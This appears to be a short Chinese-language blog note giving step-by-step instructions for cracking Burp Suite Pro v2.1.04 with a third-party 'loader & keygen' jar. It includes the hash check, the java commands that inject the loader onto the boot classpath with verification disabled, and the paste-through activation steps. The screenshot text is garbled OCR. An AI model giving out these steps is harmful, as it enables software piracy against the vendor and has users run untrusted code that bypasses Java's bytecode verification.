96ABF8DB5F33ADF7BE721B2B67B349989F410C82847B41FC12E603E0236FB84C
C:\Users\xcblj\Desktop\Burp_Suite_Pro_v2.1.04_Loader_...
python3 解释器下:
if
       "96abf8db5f33adf7be721b2b67b349989f410c82847b41fc12e603e0236fb84c"
"96ABF8DB5F33ADF7BE721B2B67B349989F410C82847B41FC12E603E023
6FB84C".lower():
     print("yes");
yes
用 java8 执行下列 jar 包,否则过程中可能会报错"选项 xx 不能识别"
先执行:
java.exe -jar.\burp-loader-keygen-2_1_04.jar
然后会弹出一个窗口,如下图:
```

Burp Suite Pro	1.7.31 Loader & Keygen - By surferxyz		×
	Burp Suite Pro 1.7.31 Loader & Keygon - By surferxyz		
	1. Rum Burp Suite Pro with the loader specified in the bootclasspath		
	2. Register using assoul activation 3. On subsequent runs you must execute burposite with the loader otherwise it will become suregistered		
Loader Command:	3. On subsequent runs you must execute burgounts with the loader otherwise it will become unregistered in the loader otherwise it will be a second of the		_
			Run
License Text:	licensed to surferayz

Activation Request:			
Activation Response:			

再点击 Run 或执行 Run 左侧的命令:

java -noverify -Xbootclasspath/p:burp-loader-keygen-2\_1\_04.jar -jar burpsuite\_pro\_v2.1.04.jar (这里要注意一点,如果不是点击 Run 或执行下列命令,而是直接执行 java –jar burpsuite\_pro\_v2.1.04.jar,那么下列步骤中粘贴 license key 时将会提示失败)

然后会弹出一个窗口, 由于我这里已经成功注册了, 所以没有对应的截图

将 license key 粘贴到 burpsuite\_pro\_v2.1.04.jar 中

点击 manual activate

将 request 粘贴到 burp-loader-keygen-2\_1\_04.jar

将 response 粘贴到 burpsuite pro v2.1.04.jar

会提示 success

之后每次启动时,如果直接启动 burpsuite\_pro\_v2.1.04.jar,会提示需要重新激活,应该使用命令:

java -noverify -Xbootclasspath/p:burp-loader-keygen-2\_1\_04.jar -jar burpsuite\_pro\_v2.1.04.jar
